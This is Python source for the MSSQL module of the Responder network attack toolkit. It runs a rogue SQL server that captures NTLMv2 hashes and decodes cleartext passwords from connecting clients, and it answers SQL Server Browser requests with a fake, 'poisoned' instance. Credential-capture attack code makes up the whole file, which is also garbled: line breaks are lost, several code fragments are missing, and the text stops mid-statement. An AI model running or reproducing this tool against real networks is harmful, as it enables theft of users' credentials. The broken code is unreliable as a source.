#!/usr/bin/env python # This file is part of Responder, a network take-over set of tools # created and maintained by Laurent Gaffie. # email: laurent.gaffie@gmail.com # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . import random import struct import codecs from utils import * if settings.Config.PY2OR3 == "PY3": from socketserver import BaseRequestHandler else: from SocketServer import BaseRequestHandler from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer class TDS_Login_Packet: def __init__(self, data): ClientNameOff = struct.unpack(' 60: WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), NTHash[:32], NTHash[32:]) SaveToDb({ 'module': 'MSSQL', 'type': 'NTLMv2', 'client': client, 'user': Domain+'\\'+User, 'hash': NTHash[:32]+":"+NTHash[32:], 'fullhash': WriteHash, }) def ParseSqlClearTxtPwd(Pwd): Pwd = map(ord,Pwd.replace('\xa5','')) Pw = b'' for x in Pwd: Pw += codecs.decode(hex(x ^ 0xa5)[::-1][:2].replace("x", "0"), 'hex') return Pw.decode('latin-1') def ParseClearTextSQLPass(data, client): TDS = TDS_Login_Packet(data) SaveToDb({ 'module': 'MSSQL', 'type': 'Cleartext', 'client': client, 'hostname': "%s (%s)" % (TDS.ServerName, TDS.DatabaseName), 'user': TDS.UserName, 'cleartext': ParseSqlClearTxtPwd(TDS.Password), 'fullhash': TDS.UserName +':'+ ParseSqlClearTxtPwd(TDS.Password), }) # MSSQL Server class class MSSQL(BaseRequestHandler): def handle(self): try: self.ntry = 0 while True: data = self.request.recv(1024) self.request.settimeout(1) Challenge = RandomChallenge() if not data: break if settings.Config.Verbose: print(text("[MSSQL] Received connection from %s" % self.client_address[0].replace("::ffff:",""))) if data[0] == b"\x12" or data[0] == 18: # Pre-Login Message Buffer = str(MSSQLPreLoginAnswer()) self.request.send(NetworkSendBufferPython2or3(Buffer)) data = self.request.recv(1024) if data[0] == b"\x10" or data[0] == 16: # NegoSSP if re.search(b'NTLMSSP',data): Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=NetworkRecvBufferPython2or3(Challenge)) Packet.calculate() Buffer = str(Packet) self.request.send(NetworkSendBufferPython2or3(Buffer)) data = self.request.recv(1024) else: ParseClearTextSQLPass(data,self.client_address[0]) if data[0] == b'\x11' or data[0] == 17: # NegoSSP Auth ParseSQLHash(data,self.client_address[0],Challenge) except: pass # MSSQL Server Browser class # See "[MC-SQLR]: SQL Server Resolution Protocol": https://msdn.microsoft.com/en-us/library/cc219703.aspx class MSSQLBrowser(BaseRequestHandler): def handle(self): if settings.Config.Verbose: print(text("[MSSQL-BROWSER] Received request from %s" % self.client_address[0])) data, soc = self.request if data: if data[0] in b'\x02\x03': # CLNT_BCAST_EX / CLNT_UCAST_EX self.send_response(soc, "MSSQLSERVER") elif data[0:1] == b'\x04': # CLNT_UCAST_INST self.send_response(soc, data[1:].rstrip(b"\x00")) elif data[0:1] == b'\x0F': # CLNT_UCAST_DAC self.send_dac_response(soc) def send_response(self, soc, inst): print(text("[MSSQL-BROWSER] Sending poisoned response to %s" % self.client_address[0])) server_name = ''.join(chr(random.randint(ord('A'), ord('Z'))) for _ in range(random.randint(12, 20))) resp = "ServerName;%s;InstanceName;%s;IsClustered;No;Version;12.00.4100.00;tcp;1433;;" % (server_name, inst) soc.sendto(struct.pack("